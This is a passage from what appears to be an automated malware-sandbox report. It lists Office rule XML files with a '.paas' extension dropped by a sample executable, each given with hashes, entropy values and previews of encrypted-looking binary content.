Entropy (8bit):	7.65232045398168
Encrypted:	false
SSDEEP:	12:QlYC+fGDONGWoYXim2dzKMMwoESK6O3yA51h/oJZ242bbePCH4Gt69FnS2cii9a:QlYC+fhZoYyTTMlESKpt/tQPR069F3bD
MD5:	2DFC07E9AA2622DEE4421DEED4A1D0E4
SHA1:	3B82A7F928EA177A4ED012EB793D70D8BCD1B98B
SHA-256:	6EBB8C0E9D270003A967DCE460486D13995F3941F433689780D93A325842075B
SHA-512:	728CC6BCEFBA56E6FA1EF00F20DFCD70965CBAB0066538297062686531BEE0FBFFE6C6CD4C007C2889648C6C0787B9806ACE9D30A442892D1030A9F9F3C23E94
Malicious:	false
Preview:	<?xmlo.48..O..=..S4g.....0..;b....W..k.-L..yC....q.7.LO......g.u.....9b.....C.(..zM..do{..o.....,..8..........20AM.)w.....5.-.0.c..Q..+E.>.>F.j.....s....G..8..0jA.f#...{..)...Y.......R.\|~..m....4..Zv.H(-.{$.q.......i*........,<."......;C.."4X.4.b.W/...s......K..Zq....I..I............YoY...[U q~..>[.N..."....5...N....]...d..).{.G.x{6....wAJ...m.K...I.]..a.j..r...q..(.\pQG....f...%.f..".A.7.,..ww..<...J..Z..\|..p,.K,4..=....l.....F..7oy)........5A....$~...Je=9.M.J'...&o2..p ..R...........z..Qk<Y.C..h...'.d.(s.....L71A.......;.#.J..Fl...d.[Rr...&..1YV....&=.pL..BK.Z....J..e...M..z.dNq..Ct..........\|...r.-.=..c&..T..=$U#.uJ^2...v.=LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120668v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	802
Entropy (8bit):	7.737767188806386
Encrypted:	false
SSDEEP:	24:n1orgy00r+rT16yl1L7kiQy+ccnBJvQTov0EAbD:lyB9g1L7kiQynQBJIEv0EaD
MD5:	0BF7519AA98EEC928EA103A4EEE519D7
SHA1:	9EDE53997D6CF33E652BDE688E8000F193C7F2B8
SHA-256:	AC18C1F86FC3431725F2CF08F69026D7E48794172CBDC97081A8D179BC6F501C
SHA-512:	78C4D93077E4D02F61F81ADFE052A243759683B500F3C2F5308AC30736F37FC2A53E72CF12F1A262AEC1E4939F921797D10FB7870EC13587FCE2353BBDD275BC
Malicious:	false
Preview:	<?xmlh.pc.Q...._....Y..~X...6.cT..u..U.q.a.....O.f...<4..'...v(_s....~.J%..:........0aE.......&.b.....;..n.S.4.b...W.......ugs...8e...^B.M.z...x.O.^b...K.T._...D....5.>U]..e.HZ>=2.#R.T...............F..ZB.Y.B...4.L>.6....B.9B.sF7].g...q..CM..../Z.\|.L)^..CZd.K..Mg.1.\|:4..fK..I..(X.nu....3..OiR.2..y..,.g.d.n.FN...J.l%.....u.{../w./.W...C.vSa-......9E.z.X...+...~.6HH..23....T..o.P.K).G!s........V0.&. i~.....Ba.../.._...Z..[4.b.I:..U..[..n.u.&.M.Q.=...].."0.\|\#.......xR^..P..n...=..H.Y...a+"....Q.....M.:.N.]3b.....t$dt...'J.3m.,.~wbz..EL..k.. .Eh.%4n..S...!...c+..6Q.@.+6V..(4.o..I;........SQ.<$.=.f.......G.*8.?._l.;.lX'd\b.j..".=..J6yu...L?..........J.....p\[.a..).C.....~.X..D...z...x.GLQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120669v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	749
Entropy (8bit):	7.687004606072207
Encrypted:	false
SSDEEP:	12:l3lAe2F5Jf2fEGO/jU4ctkhF1RpPSkI+K89e/zatSoH14HvS2cii9a:hWF5JaWQ4cmh3DZI18azkSoW/bD
MD5:	5D1BA530505A3FFB3F0DCFE9577B0E81
SHA1:	46B780785821813AEDF63D89721A039BFF19810A
SHA-256:	B558295F0A48F57E02130790CDCA47008D50E9DFEE15D2E38EC4AABA6F8CD458
SHA-512:	82920987A17F1E8C02A7A779421FAE539ECE8555719A10B6DC28E62129A7DDE697BB10B34400F9719752048B4F537B6826BE35C64C988DA515B63AA458368E31
Malicious:	false
Preview:	<?xml..Wf.....;0.F....vD..s.-....jO..Hp.n....D .l.r.I.....X.F7..O.R....%.. y..S.Jh.&..[...u]2..c..v.Q.+...e.2F..oJ&...........@......^.O...{r.%..:%c..K`....{..A.].. ..N.......!......k.h.fzi]..g........r_.1..0..f#.H......?f.F.......D.....$.....xa#...Q..c.U.....J..H+....S.8......&8.r.B.%...Am.[.......o?.2..&....\?.)....s&...@...Z.7)T......o........8.....Q`.U....q.N.K..~.....y...nH...x...{...#.S.!.B3.q.y]..8..dg..H\.z6MAh.w(....6..../Q..c...b..{......-!..BA...5..K.$...B$..a....g..Y`....N......../b.@..Y J%..U..O..3@...{..j-...^M..?.@...vi.'<.c.B.^.+.....&.#.!./.N..u.28.b..&d..V.9.DV=..fIt..[.+......CX....W...<q..'..#3.Cr....^0...NI....gLQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120670v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.766132017353892
Encrypted:	false
SSDEEP:	24:ids+TlX9+vrJdxNZuWppBVqqAi6eTgBybD:ids+T+XEYpLqlQT1D
MD5:	4ECFF1E9B62BBD6E032C58E6E9ABEE72
SHA1:	A1EEFE6D4CEB42A9E41E84C911CB6113EF87C2B1
SHA-256:	B97B09F86A6D29F2F138F40C2D78A35BA5ED86B1B12A00D107CA38C2E9AC7F69
SHA-512:	9119B374FD36344C9E5FA75B386FB7C91FEDFDA8E5A1E30D52B6123A7C7287ACA141A47EABB79DCCA887B7801028ABC1B227DE785D8339CD351996CF205A7886
Malicious:	false
Preview:	<?xml.$.O.B....t...a..r,{2...=.`..v...,.o1.7......P..Ro.v&...'-...a.G'..~...sl.@...V,.G.)..O.e....T.......!....."...-...s.3..Q..-.C(.v&.U.Z(b.[.T=.p..<q..N1..w._.t.8.......H.I.(F.5.Vt.]..C.<;.u(>L(..9'".:u2}..zP;.....o.rb.]Y.E.\|......=a...E..gu......\......%G.x.6m..?J\|-....'.....(........L.E.........%L...I.4#L6......W..k..y......T.)D.4L4?....w.DB.^.>9..ch..+.0p)...H..Y...!....1.^ip.n.Z..J.S3d.......<...{..$.....o...I>.."...a..0.L.m*?4....K...f.ijS.]).....9..1Ep3.jH`......yA...g....a.P..F...IaK%..3....y..H?$.._.j..&..o..c...S..I....Y.5..3a...x.EG.....a4..5.i.W........6..J....h.../.P(.....X...W...{Y.......J..^.CV.R!HB...r...Y.g.....G+...E.....kM..q`..-.aU..Jl......WY..LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120671v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	765
Entropy (8bit):	7.700063461373483
Encrypted:	false
SSDEEP:	12:7B5RM7L0TWbOMWKHHzO3RM2Dq5rqcgBknaKxLgyNifsQc89hGWpwZtKVj1TDLS2X:7BPMMX+R2DNcgZKx0LfyC4bKVj1TDrbD
MD5:	97FE15B94DC0AD24B6CA320775BFE795
SHA1:	A45922BEE00BF8E7E6270832A7CF61AC25200E00
SHA-256:	0E8BE33D4001403F2EDD705645DB54893E209DBFF9830647C6ECB5D816F27E80
SHA-512:	D3C42B1760130272D6CD302679C249645E641B6E6971854C61820A13FABF4F4BE70A6A130FD0CFB581FE7A8735C3CEE51CBB065D27F2DCAC3885CF7B705D4B92
Malicious:	false
Preview:	<?xmlw...:...t.g..?#...T!0.......v..1..{8....z...h^M...J.....w..ui.w.........;..cu..li........r.....L4.W..8.e.&..iDV\|.....!.&<!.G...],A.s..YX.OV.......#.....AJ...b..x...5...3.Og.bV..N.....%i......h.1G.&yX...$"...K ...2........{0..s.i#.F\a.pu_.,..6.....p....b..9~..33q.k.......Sj.U.b......2..c...O.5....JB.z.... ".#.0......4.&.J.......=m.YL....W.g.J.......[..zu..E,d...^.b........7.....Nq.4../..h..X...KV4NAJ...=.....6...q9.=BD.#...U...}C6L......1.......].~T.....`..l.S+.-...v..I)..W...Fc.....j.%...4J..9z..U.....\|.`w3o..d.{2.`..o.~..X.v..J.D.{..B;CEj...[.+!.8..'.y3FT.J.......).....z.:hJ.t.oH...R..@A.5....?.[h..C!.7w...#b.uF.U=4.8..?.i_...LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120672v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	808
Entropy (8bit):	7.711878570194313
Encrypted:	false
SSDEEP:	24:+RyA2M5C5F4Rj5rlTgW6IMpDtRi1ukw1bCTw55vlJGG8ybD:+RyaRLrdRC5s8PZvlwGHD
MD5:	63F485D39F9616FF845BB697E2BFFB18
SHA1:	4427A4C43FB4BAFC0BAAAB63E8FC184D80321946
SHA-256:	4FD3DE3AB314ED3DEAFF197D2C4AD545B4B0059C328841799DB19BB0C6C0D5D0
SHA-512:	A3AA1C1E979C4DB5D20DB8E3D8CA288BCDAA395FB32FE85FE673455DA33749FDD92B3C53D50C3D70B62AC604991012756F472E9CCCF29B0A2D689726E63FC7DD
Malicious:	false
Preview:	<?xml.c...^.VC./f.`=...5....xmL.._........'.p..S.I..@QHF.^........D.7q.G...........N...N...2\...D..:.m`X.....aA.`S...^.........[).R.0.-?.3..@...f.5...v.4[.'>Ow0......<......ua..$........d...7.=ea...v.69{....%.'.`.^SM.....w.>...6p.R"l..?:\|.iX/=;z2..X,..bJ.j..4......@F....-..f*>/.&.v.v.W.O..K...~.m"\|^.p....H.yW.P..%../D.K\|...a...Y.......B....l+6.f.4W...6...v..(.W.]l.y5...8..z.:....7.B...Hb...D#........XT7....?....s..g;."y.._o..B...r......"..\.F.9X..c...9C.{..".>...u?..T.(...dWP..cl..W!.....'8...,.m......&+.F.C[o.#..oz...]..Z....@u.u.B .. .?.]<...Hd..{5.YpC.zV..)o.rv.p]9..0.........!,."..7.W3Xu9.?..8..D....0t.B......f...L..,5q..3..+.u..M.;..S..rr....B.32.JU.s.$.X.....wx...R......{!LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120673v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.736406261907726
Encrypted:	false
SSDEEP:	12:QOWTEzH570+OF8tLjMO3QuuOANvu8bVHKtTEHubyDh1NyVXrJPUBVcA9iMaDbrCn:QOWcH570+qkLAOrzivfhKtYubgh1NyVI
MD5:	3877A411885445EA9FBCB9A2B492B7B3
SHA1:	43210F56702E6D2FF5D6591AD57CEF3B6B2BEFFB
SHA-256:	1FB850BC2F95E8E6764E092F9C1CD31D33D6BF79C0287D324CFFDA935DF3173B
SHA-512:	7CE4886733E6A43F6542FDED36DF42F21E4540736543402CFD88345973A26D8A1E81BDFE805989DD650E3D12731D305B6BD124D02D5021493DD54F8141F24EFC
Malicious:	false
Preview:	<?xmlh)h............8.."...L_d;....t/.ARP.W.fb.P.7..vH.P.;.w.I>.@M.F...a+......:....(J..+.......`....'.#...".Iy.e.....S..wl...e(..9..{. _4..1...Qn...........:.9.e+..+,>.!...fb.N....S}...E.?j.k.gez...u.......+.\|w...:.kNs.x...?.j..`.i..\|.i.E....y.(...M..~.t...e..kb.2I?...b.....R....wj....>_#..........;.<./.sZ]..k.`..$.....2_.....&...+..Yv ....1...x-.K..M../..m..R0..0.eH.4.....\>2.M.&...,?..IMz/...o...#.)....z..o.1....A..#..)&.....+'1.0..y.Z....B'V.73f...u.lnp.:<.3.....v..Z..dhH.T.....S.t.u}..$...r.^X..E5...].C.....rh\|..Nk.}...."$..Q.U..YQ..4..X.].\..S.(...FQP......e.mJ.....i...6....u...M...1[].....+.....)."I..SmGJ,.G...'..K8....Weho.=SV=..tOB.....]..N..LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120674v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.735316467236509
Encrypted:	false
SSDEEP:	12:7NnETIJlN/CELZqzds4kdP90GGzMy9mY67Onl73LLD6qY1lZU98nV4SNaAf+9/31:7NsUCElqGfH0GGQ7k6t1lqS9TfQ3F/bD
MD5:	E9EC843F9A31B490F8045D2F4D23B2B4
SHA1:	447A625E1FCB905E3424B7E3771E869D6F9EAD1C
SHA-256:	8EA0963E9166068DE517788F54AB2AA08F1C58C246C219ADF5DCBCDE45750DE8
SHA-512:	DBB6A99B49A867DB478278F913DB2B4AF79FFB432CBDDBFA3B79D38B3D196ED2EBDE013684FDCF826CAE18F661145AF96282FAD191F7ADD5568A742CAE414BDD
Malicious:	false
Preview:	<?xml....E.T...#......W.....qruE].w-.C9....R\|.......l...........h.6.K._...X>y...=.m....>#+..>..}.T....;.....\|.#....u..i..$6p....J...B...";...(....]....l"U..$..0..l-.hj..N... ..NSR....=..S.fF.a..{....p.......WNpv.\;.....dP..u...zk.?]E...F...).wZ&...MXT+H...K.j._..{R.S.....l....Q..U..k>.O...".<r.&.Pg\q.{.S.j..v'9Q......{...#.._._.._.O..r9..-.aY.AU.)....q@.+(oI...7i..?6.(h..8V`...H...GU..6.gRv.//...n.Qh.....n...]..)....ASg.M........`6Ih%&..q.;.)._....[@./..4..?..;.{.J.u....i."..B.N_j.K.i..B.(Oi4.M^..Cfv.....zC..bX`.\|.@..P.&....m.."..B.i...tg....Q...%...w. .]..ZP..e....i.......gh.'.y..../....Y..2...6..d4.B.o.z-..`..*...t...+i........W...5OA.6 XG..l.&..7y^S.. BH....a[..![{........SLQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120675v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.72327215847854
Encrypted:	false
SSDEEP:	12:ErDigr3apMfjjckUy8xqM/p8oYu37oTHSm6HdxQLrbIUhIA3OS1tSATCQO7Fi7rn:ErDigLRfjjckU1qMOTOUbKqbIUhhOKt3
MD5:	AC0376EF58FBF024F980207A3F1C8CCC
SHA1:	CA832963187EA1886DA6F3363253F91B4EACCFB1
SHA-256:	A460DC05926EB4568FAAB2EA2182F896E4503273C954D1B9F1528D2FBB8B4DCA
SHA-512:	2534C08B0FBCBEB9E52FB8E1A15A627CDCDBD09A3CEC6A536BCB50BA7060C59CCCBDEDE99073D94B7F9D29527DE82493E0EB0AF3B26921C3A45C4132CC4A26A8
Malicious:	false
Preview:	<?xml...R..Q.>.Mj.-1...{.-\|.S..?..A...F.p..P....{......h....E.....=v.%......$..a.../..)...^)..~.z...~:..l.6......}.m!.0...2.\...S..v.v.5.1.cLd.d....,.!.jm.qi...S..N.=..v.....{.JJ...D.`..{....s&..f...&W.....4z^.Qu(....N.'...7.i......L.pyi...v4+~.h.b.\|.56g.........9..Z...N>..8..uc+..r.M.N.........o......#k.....-...P.....].}.......AV.../..8....f....G....FH..q6...!.Y..........$...;.N...=....-.A..<u..D..h...P..?....P.T.f.......k..n.-.H...c+.......J.^p9.R.......f.E.....M..m.I..(....p<$a.1l.v&....P.S\Cs\|..........f7...0.M....@-.x..!.*.....K.c.-..`.v.x[z...#..G.M......Pm.z...8=..L;....[._v.4.. ..%>..2..2J..~."....4.6.....+..T......=.>LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120676v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.7123331009105405
Encrypted:	false
SSDEEP:	24:ovbgfYyz5S9T/2fip0pXgZ6MOvr46DKV8/2bD:ovbqYyz42G2ra9D
MD5:	3D45CED5F0CE2CB93C4B1C54BF4E8901
SHA1:	5BFCA35A15ED304C14085A5EBBAFE17E2879E3E8
SHA-256:	BB8AA2FC1BA84146FCD286EB649D3FDBF8C06E72E47A543AAFB7939C56B4BEB1
SHA-512:	2EC106C85A9BD8AE087842BF124485C7FB6269C77266402769332E13389913F855E4859AF41ACADE9245F03F6CC85986B554CDA68B458F41F40F8AFBC9970C92
Malicious:	false
Preview:	<?xmli.:D..#..v.r:E.....5x.~......I..x..F..&...6. T.E../.....C..B9..`Zq%....b..........JsZ.'.3z.v.".(.O...m...P..W.I7.........q...o..]".s..7A-d....i?.X...h1e3.Kr.t.C.s.xK+!.n.5,0...%2...Q....46.S.KBTG.\Z..+.3..Z....x/.............L.g.1b........:.$.w.5.#....:.h.h.:v:..t..4.bsD;..3..@o..L..r.W.b.GG.........k...n..../..@fL4.Z....h.f...U.G.s'..\|.L......U;-x...Fw.MD.t..i}....!..k}_.\|Y....^...UNH,j_dO..m^...G.8....2...-....l(.....e.d...b..\@.&..#j.}..8}O{4.....$..tv......S{(.&C.+!d......K.z.7...je.ywI..q2.0...."HX......~../..B1ID.z,7....\|.8...O.i..%Ex..c/*.L.b_.D......"...A..&.7.Q.m.).R.k..b..)......f.p........Q......3.'........2...C.Q]..M.c}.C.T..&...x....Z....`......~xB.>...S2..LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120677v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	738
Entropy (8bit):	7.65892499456552
Encrypted:	false
SSDEEP:	12:8X+55h+n8/aQ6eJNhtkKEEq7ZSopzwaI/Gz4vyppLKR3+v3/63muIf2A66muaASw:8+R5aQ6eDLkKEEoZSo9waIOOyplKROvP
MD5:	F1F1D822F8BFEF880083F7ABF71A7348
SHA1:	A617BF719106A5B0A585F5229DF33D4F1A34CF92
SHA-256:	E5BCB2DA4D55C40C5F1A046288A95E750BAA76A5EE589D8E4BC174A38D86DF68
SHA-512:	6E2939049286068CC81C272BED9D25D79F532BF3ECD459B6DA9DBE15F6D313534B32C61FC78D426B6CE64D80BF9405124116FD261212C209F0C779EB3B3C2FBE
Malicious:	false
Preview:	<?xml...W`.m.....[Y_..8...$8\|.....c...3...1r.:B(...T.U...'E9Qv.k.f".......hh.s.4.E..Q.s(..lX.j.$/M..p.).@..+.<....Le...z&L^.).....h..U..I$..O.......<?.gb..i.............10.&.h...[(q.R.0!.&.^.\.....BS"9..u...[.W........0W...7..kd.B....a.4.T. ...z7.F....Q..$.p.W.........f.T.2#....\a.1Qg..:o......8\|.=..zf..o..6..z......].C.".u?.T.W`.Tf..........p"9f.{c.8$.....=.........R....b...{....Pv2....^.w.;yx...J.\|S......B-q.r........@..z.<.@4dV.}C...).4\|.+..F.\|..Rp..[<[%..E...z&..C.6bio.r].j..(...M...8-.....%.3...Bwe..y`.6L.Q.j.:.V.[.SQ*.X.....;.@.....^.O.R.J..5cZkL.e..gc....3i......B..MY.A._....7..r7..B_.c..V.7..wDq'a1^u]It.....w~.LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120678v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.70458746255099
Encrypted:	false
SSDEEP:	12:pkiW9SnP6qK5Wh629EfXRR2synWaoZRpuH5vgrZ7bDy+W0E4tS2cii9a:1wSnPz1rGfhRtynNoZR5Z7bDHWf4lbD
MD5:	1E150D6FD0569DD7D88DA2EF82E2C61B
SHA1:	003D5D99692F6461983845D16685372DFBD12CD3
SHA-256:	DC91E78DD9D64D32E2C18FFAB41AA90B184DF475BCE42AEC19959967E7008C2C
SHA-512:	D25EB0711BA4A00450081547C1D54AF9DA8987C75F0D3150D9A2ED03C2EF66C569EF6E8BA53E825B29706091900867470F74ACA84569ED9F153280539F37A1CC
Malicious:	false
Preview:	<?xml...-..\|.C..v........pt7d..[~....E.d.....qH.{...p..p..........y#r.60. >+.P.-......Z..3W}YM..,.......N.V...d....;.Y.[...."v.n.#.a.$....C9..1E...8...,....R.T...ig.W..MVS+V.O...` .-q..^.A;7j.K.P.i.(.N...m\|p.f.....I.@T^..........F.2r.}.xS..........s....\..)....D...iZ.k.H......:.(.^.@..../."K..W....K...~...Mc.\|s.x.`........lz(h.........:.....I........0...^..W.._.M........U'+..o...H("p.\..*.[n....]eb.....]...>..X...56u....X..Mq.>......a.ne7...d.....!Z.$..J...k.@?y...`.}.^...I....qP(...-./.O....~...t.v..0.......o:x..vr..mC'.(..7B...6Y.. .Y,.MW....6....[..M-%......BP...ar...h..Z.q.?...A.[.....(....p._...Zh..6.Egx.......N....... .a(.d../?Q.@.~i'.:&..Bg...I.?.q:..9^.$Bg..m...y,!./.]..LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120679v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	507
Entropy (8bit):	7.567475943275228
Encrypted:	false
SSDEEP:	12:J6znmfc2AGauA1KMDP+ZarrasvPNU1EvAA+7DP5S2cii9a:J6jwc2jauAek/bOGA57DPRbD
MD5:	1D734F0BC541EF71A55D0AEF9E104348
SHA1:	73645E9CBC2E44473F0D1447A3C61E3A0C5A1DB1
SHA-256:	5B28098FB6792A5BBD2D3BB7717280F0B8DD4D52F60E0A6DA09D49ADF9EB1B93
SHA-512:	F90E8911EF2C4ADD6F1194A2D028661B7599AE845F3067AA5B2E13D978D1800B1CDEBE1F213EC6F0525E07AAA97F1AC518EA158443261A74C378146CCA9F115F
Malicious:	false
Preview:	<?xml".e.....N.2..si.=...k.@u\|.4.hx?.C..#v5..L1p...+..........(=X.._...'y.bK.......$.s...6_."..n.@,.`..dR;y.....T..g.../S.2z...'](&..:.-c.j[.L..&.8=.`d.F..G.1.&.x8H^...\|..'M6."x..(..l]..K....."U!fw..L\U....f..8F\|...[O.f...w.&A.$k...P...`G....../..B...-.....,..pN..0....IH.c....yf.e.{.4.yK...ZM.q..O..8..1.So..sNC.3x.We..P..$..ee.c*...r.mmY:.f....Nn.@j..........^...Y......s[l.).y..NAc...#..%..zpLQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120680v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	2285
Entropy (8bit):	7.911257648884464
Encrypted:	false
SSDEEP:	48:/eB7KXrOQCkUAmf9Ok7C3/4KbFdMH7mRW0gx4998D:/QK7VCji4idMHyTS49K
MD5:	8EAA74CD2500966F3B67EAEA62F0156D
SHA1:	BA922F0BBD25A33445D13FD6CFC4E40D863FCF01
SHA-256:	3DFDD03A57A10F17E562C5589F9D55EF695FF989261E5A262510EBEB93CAA908
SHA-512:	2DB391119364D0E04119A0A2FDD3146222D1421178E79FD2474B3BA0CE7E3F2D4E2C6A3B8B16BD9F1339DFE83E24AA7CE8347D42B709101B420BE638A594C702
Malicious:	false
Preview:	<?xml0qF..b.rf-W...(H.....K.q.X..n....]..&V'.w.."...b......!C.h..l.2.x........`...........U..I[.....)..r.@VG...8A..qzt(......kiR.L....^...S.w.}&......g.1.c..!.x......L..........p........lU<..=.....A1&.;..8w..]...k.cb.so....&..Xl...C.....Q&f_.r...gx....bE.8.b.......\...[.....F./..];.K(.,.a.T..7..K.:.............."6..`O...}...$l.t...6h..k.......'`:x...8.0.[..&v}F:....J.W.!...v0}.>/.}.E..6~}....r..........P....\......p.0`....O..~...].!..9.K.........=....A.Q.d.c.Je.c.8_....b.N@.#.....}...WI....cn.S.V(mA.K.h....^..,.a{.'.L\|..U..x#,D...;.qx+..j."........L.'../...%S..S..].N.......z.n.MKc.:...g.)h.<..:.?..7..x0..0.....Lc.....<..?kmY.C..p.=.p".......D....]...;$.<.y....l>).u..E.4[F..p.JSi..TZ.K....@...6E..........$5...1.G.x.M.jr[.l......6.D.8....P..FJ....Z.I.p.#.s.s..e*{D,+I].^.u;..^....Pr...(!.0.R..N./..../.......A2`........R.N..v.-M..e).}A...d#'....w5<~u...V.r.....k{.....=[=}v.BA.U...E=...,..u....W..$B.=r<....C.MA.Sr].........:B....?&.v=9...4

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120681v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1291
Entropy (8bit):	7.834778931318735
Encrypted:	false
SSDEEP:	24:h5kvjsykDhKFVcIHyxdP4V2Wu3pnTuViLQvfuUnaRXiPobD:h5kvAVD8fc2AdA2oViLQ3uUnaRXiqD
MD5:	6DC1D805758073FF77E9E3FBACC4FAD1
SHA1:	F8177642E8DFD145607C2F98A1321C3B5B0BBF9E
SHA-256:	C1A424F3C75A8D129DAA7612048922417DF43BAF2BC17298DDA41180266802D9
SHA-512:	2F7ADBCBC894CFFABFF3872795019C193344ADF1DFD410FA3ECF27F719DFCE07028A315ED17D3CB6DA94CD986D9F044223D02316402842052B731A7D9B1A7ED5
Malicious:	false
Preview:	<?xmlo......;..+9........-<.ka.q............f.x.....G..."...j .<ThV.D...j....x>K.a+..(&....D.O........R.G..$.........\|....M.&.TR..0....n..a..@..f.5?...:.S"..9..wK1.f.B}St-.V0.U..).....u......V.W.;..+H.3.oZ...zX.Q...GE.w.9......<...)..D...{:nCH.Z..".F7Q..p..".....iB.]..P.es.M...VQ....%.hR...r.W....g.....4.7.........?.5..hZ.#.=.R. .r...P.$..9[..d..<.l.......wE......Y..c~...9...M.m.,...%.t'.r......NoJ..e......I.......+....AO.n;.G..T9S..{..;.S..t...)..(2<.....z..x...2.....T.....e....o...C.V.D.G;.B.D......0.l$~\|?......n.yvO.M..S.4...}XS....l..9.n.2..W.].E.>2.!..$.._L8.\|..;]s...B~e.7Q."K.{...7\Qc#..O*f.!...+.<.{...C\..,I..0.k....U@A....E..1y...Onf.^.....eV..&....O.p....-o......ik.x....V.....K.....4..E]..D8 ......m......p..<L.0?s..3........J..f.FQ...B..Q>..iW.!.I....\|.....AX...x..$....u.5.........+Jj.T.m.'..m....O. z.C4.1f.Gm....ZF.}=!..(xpL...).e.f;.C()V.....u@L.oao...9.~u!.v....w.\........Tb..\GN....L....8...W.."a`.w1D4.$.".....H

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120682v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	834
Entropy (8bit):	7.762526253858152
Encrypted:	false
SSDEEP:	24:krvGl82huHmql0LqPmzNq/Nfqgmh29M3bD:krulZoHmqqLqdNfqB2CD
MD5:	231895361865697542F3037E1B7CE3DD
SHA1:	F21654BCA6D22D776DC9898D36F2B76D734ABA40
SHA-256:	D4CEC885D7F91EE956EDA9ED5B130E0430F3A8DF6C7EC0157B0A44240DB4430E
SHA-512:	D75BB2B4D2543818230D23F996643B18660CC9CBC932BD056B93B842A322303BBBE19247BF37CA1D2B59CB3E9E51A9A5D837CB74D686A8350E6B0C885229EE7B
Malicious:	false
